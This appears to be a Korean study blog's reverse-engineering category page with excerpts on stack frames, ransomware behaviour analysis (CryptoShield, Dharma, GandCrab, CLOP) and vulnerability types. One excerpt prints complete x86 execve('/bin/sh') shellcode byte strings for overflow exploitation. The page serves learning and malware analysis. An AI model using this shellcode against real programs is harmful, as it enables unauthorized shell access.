공부/Reverse Engineering
스택(Stack) - sfp / ret
Stack - 스택은 프로그램이 자동으로 사용하는 임시 메모리 영역으로 지역 변수, 매개 변수등이 저장됨. - Buffer + Stack Frame Pointer[4byte] + ret[4byte] SFP는 현재 스택의 기준을 잡는 값 함수 시작 시 마다 push %ebp 하는 부분이 sfp가 된다. ret는 return의 약자로 함수가 종료되고 다음 실행해야 하는 명령의 주소를 가지고 있다. 참고할만한 것 : research.hackerschool.org/Datas/Research_Lecture/sfp.txt
Shellcode
0x01. 가장 기본적으로 쉘을 띄우는 코드 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80 bytes : 25 미포함 : setreuid(), exit() 0x02. 쉘을 종료할 때 exit(0)으로 정상종료까지 시켜주는 코드 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80 bytes : 31 미포함 : setreuid() 0x03. setreuid(geteuid(), getreuid()) 까지 포함..
Test about Ransomware Behavior by Deactivating Trim in SSD - CryptoShield
❑ 개요 - SSD의 Trim 비활성화에 따른 덮어쓰기 여부에 대한 실험임. ❑ 실험 사양 - OS : Windows 10 Edu x64 build 18363 - CPU : Intel(R) Core(TM) i5-8265U - SSD : Samsung SSD 860 Evo 250GB - Controller : Samsung MJX Controller ❑ 실험 내용 - SSD Trim 지원여부 확인 - SSD Trim 비활성화 - 테스트 파일 선정 - 랜섬웨어 감염(CryptoShield, 감염전) 이름 시작 오프셋 끝 오프셋 첫 번째 섹터 1차 중간발표_powerpoint.pptx E10000 1C09D0E 28,800 20201018_waves.mp4 1C0A000 2460B9C 57,424 SSD취약점..
Dharma, GandCrab, CLOP 동적분석
Dharma 암호화 완료 후 파일 상태 Shell Folder 삭제 암호화 이후 파일 구조 EOF부분에 원본파일명 등 암호화관련 데이터를 삽입함.파일 암호화 과정 임의 키 생성 후 AES-256를 통해 파일 암호화동작방식 CreateFile -> ReadFile -> Encryption -> WriteFile -> Close Handle CreateFile(Delete) -> Close Handle Drive Scan Encrypt GandCrab 암호화 완료 후 파일 상태 암호화키 생성후 레지스트리 저장 파일 암호화 과정 Salsa20 Key, Nonce를 Local RSA로 암호화동작방식 ReadFile -> WriteFile -> Encryption -> Rename -> Close Handle L..
소프트웨어 해킹? Vulnerability
소프트웨어 해킹? Vulnerability - 개론 - Write by a2sembly 소프트웨어 취약점 종류 1. Mmory corruption 2. Logic errors 3. Information leakage 4. Command / Code injetion 5. Resoruce exhaustion Native - Reversing 구조, 기능, 구현에 대한 분석을 통해 대상의 기술 원리를 알아내고 이해하는 것 EveryWhere using! ex) 게임 해킹, 악성코드 분석, 레거시 코드 복원, 취약점 분석 Native - Memory corruption Memory buffer voerflow 1. 스택 2. 힙 할당된 메모리 영역보다 더 큰 데이터를 쓰면서 발생하는 취약점 오버플로우를 통해 중..
